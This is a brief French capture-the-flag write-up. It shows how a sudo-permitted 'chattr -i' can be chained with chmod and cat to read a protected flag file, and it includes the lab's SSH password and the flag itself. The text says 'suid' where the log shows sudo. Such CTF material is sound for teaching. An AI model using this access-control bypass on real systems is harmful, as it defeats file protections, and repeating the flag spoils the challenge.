Challenge danstonchattr

Flag : MCTF{cH4tT3r_1s_n0T_@_g0oD_pR0t3ct1oN}

Le but : lire le fichier flag.txt

On peut se connecter en tant que user1 en ssh avec le mot de passe « letmein »

Le flag.txt n'est pas lisible car on a pas les droits et il y a un chattr +i toutes les secondes sur le fichier

Il faut utiliser un suid et agréger un chmod et un cat pour lire le contenu du fichier

```
user1@danstonchattr:~$ ls -al flag.txt
--w--w--w- 1 user1 user1 39 Mar 23 21:35 flag.txt
user1@danstonchattr:~$
user1@danstonchattr:~$ cat flag.txt
cat: flag.txt: Permission denied
user1@danstonchattr:~$ chmod 777 flag.txt
chmod: changing permissions of 'flag.txt': Operation not permitted
user1@danstonchattr:~$ chattr -i flag.txt
chattr: Permission denied while reading flags on flag.txt
user1@danstonchattr:~$
user1@danstonchattr:~$ sudo -l
Matching Defaults entries for user1 on danstonchattr:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user1 may run the following commands on danstonchattr:
    (root) NOPASSWD: /usr/bin/chattr -i /home/user1/flag.txt
user1@danstonchattr:~$ sudo /usr/bin/chattr -i /home/user1/flag.txt
user1@danstonchattr:~$
user1@danstonchattr:~$ ls -la flag.txt
--w--w--w- 1 user1 user1 39 Mar 23 21:35 flag.txt
user1@danstonchattr:~$
user1@danstonchattr:~$ sudo /usr/bin/chattr -i /home/user1/flag.txt && chmod 777 flag.txt && cat flag.txt
MCTF{cH4tT3r_1s_n0T_@_g0oD_pR0t3ct1oN}
user1@danstonchattr:~$
```